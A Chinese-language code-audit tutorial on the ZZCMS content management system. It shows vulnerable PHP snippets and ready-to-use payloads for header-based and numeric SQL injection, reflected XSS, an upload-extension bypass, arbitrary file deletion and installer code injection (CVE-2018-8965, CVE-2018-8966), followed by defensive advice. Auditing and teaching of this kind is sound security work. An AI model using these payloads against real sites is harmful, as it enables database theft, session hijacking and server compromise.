代码审计zzcms
字数 1053 2025-08-26 22:11:45
ZZCMS漏洞审计与分析教学文档
目录结构分析
/install 安装程序目录(安装时必须有可写入权限)
/admin 默认后台管理目录(可任意改名)
/user 注册用户管理程序存放目录
/skin 用户网站模板存放目录
/template 系统模板存放目录
/inc 系统所用包含文件存放目录
/area 各地区显示文件
/zs 招商程序文件
/dl 代理
/zh 展会
/company 企业
/job 招聘
/zx 资讯
/special 专题
/pp 品牌
/wangkan 网刊
/ask 问答
/zt 注册用户展厅页程序
/one 专存放单页面
/ajax ajax程序处理页面
/reg 用户注册页面
/3 第三方插件存放目录
/cache 缓存文件
/uploadfiles 上传文件存放目录
/dl_excel 代理信息excel表格文件上传目录
/image 程序设计图片,swf文件存放目录
/flash 展厅用透明flash装饰动画存放目录
/js js文件存放目录
/html 静态页存放目录
关键漏洞分析
1. XFF头注入漏洞
文件位置: admin/logincheck.php 和 user/logincheck.php
漏洞代码:
$ip=getip();
$sql="select * from zzcms_login_times where ip='$ip' and count>='".trytimes."' and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";
getip()函数:
function getip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
漏洞利用:
- 通过X-Forwarded-For头注入SQL语句
- 需要先保证验证码正确才能触发注入
- 延时注入payload:
X-Forwarded-For:1' and if(ascii(substr((select database()),1,1))<9,sleep(10),sleep(5))-- +
2. 数字型SQL注入漏洞
文件位置:
admin/dl_sendsms.phpadmin/showbad.phpadmin/userdel.phpadmin/usernotreg.php
漏洞代码:
// dl_sendsms.php
$sql="select * from zzcms_dl where saver<>'' and id=".$id."";
// showbad.php
$sql="delete from zzcms_bad where id in (". $id .")";
// userdel.php
$sql="select id,username from zzcms_user where id in (". $id .")";
// usernotreg.php
$sql="delete from zzcms_usernoreg where id in (". $id .")";
漏洞利用:
- 参数未经过滤且未使用引号包裹
- 示例payload:
id[]=1) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,sleep(5)%23
3. XSS漏洞
文件位置:
admin/ad_manger.php多处输出未过滤uploadimg_form.php中的imgid参数
漏洞代码:
// ad_manger.php
<input name="keyword" type="text" id="keyword" value="<?php echo $keyword ?>">
// uploadimg_form.php
<input name="imgid" type="hidden" id="imgid" value="<?php echo @$_GET['imgid'] ?>" />
漏洞利用:
- 上传表单XSS payload:
"><script>alert(1)</script> - uploadimg_form.php的XSS利用:
uploadimg_form.php?imgid=" onmouseover=alert(1) x="
4. 文件上传漏洞
文件位置: uploadimg.php
漏洞详情:
- 仅检查了content-type:
private $uptypes = array('image/jpg','image/jpeg','image/pjpeg','image/gif','image/png','image/x-png','image/bmp','application/x-shockwave-flash'); - 后缀检查不完善:
if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false) - 可上传.phtml等后缀绕过检查
5. 任意文件删除漏洞 (CVE-2018-8965)
文件位置: user/ppsave.php
漏洞代码:
if ($oldimg<>$img && $oldimg<>"image/nopic.gif") {
$f=$oldimg;
if (file_exists($f)){
unlink($f);
}
}
漏洞利用:
- 通过控制oldimg参数删除任意文件
- 可配合安装漏洞使用
6. RCE漏洞 (CVE-2018-8966)
文件位置: install/index.php
漏洞代码:
$str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str);
$f=fopen($fp,"w+");
fputs($f,$str);
fclose($f);
漏洞利用:
- 删除install.lock文件
- 重新安装系统
- 在网站地址处注入PHP代码:
1');phpinfo();# - 生成的config.php将包含恶意代码
防御措施
-
输入过滤:
- 对所有用户输入进行严格过滤和转义
- 使用预处理语句防止SQL注入
-
输出编码:
- 对所有输出到HTML的内容进行HTML实体编码
-
文件上传:
- 使用白名单验证文件类型
- 禁止上传可执行文件
- 重命名上传文件
-
权限控制:
- 安装完成后删除install目录
- 限制配置文件的写入权限
-
安全配置:
- 关闭错误显示
- 使用最新版本的PHP和Web服务器
审计方法总结
- 从功能点入手,逆向追踪代码
- 重点关注:
- 用户输入点(\(_GET, \)_POST, $_COOKIE等)
- 数据库操作语句
- 文件操作函数
- 包含/加载函数
- 检查过滤函数是否全面
- 注意未使用引号包裹的变量
- 关注第三方组件和插件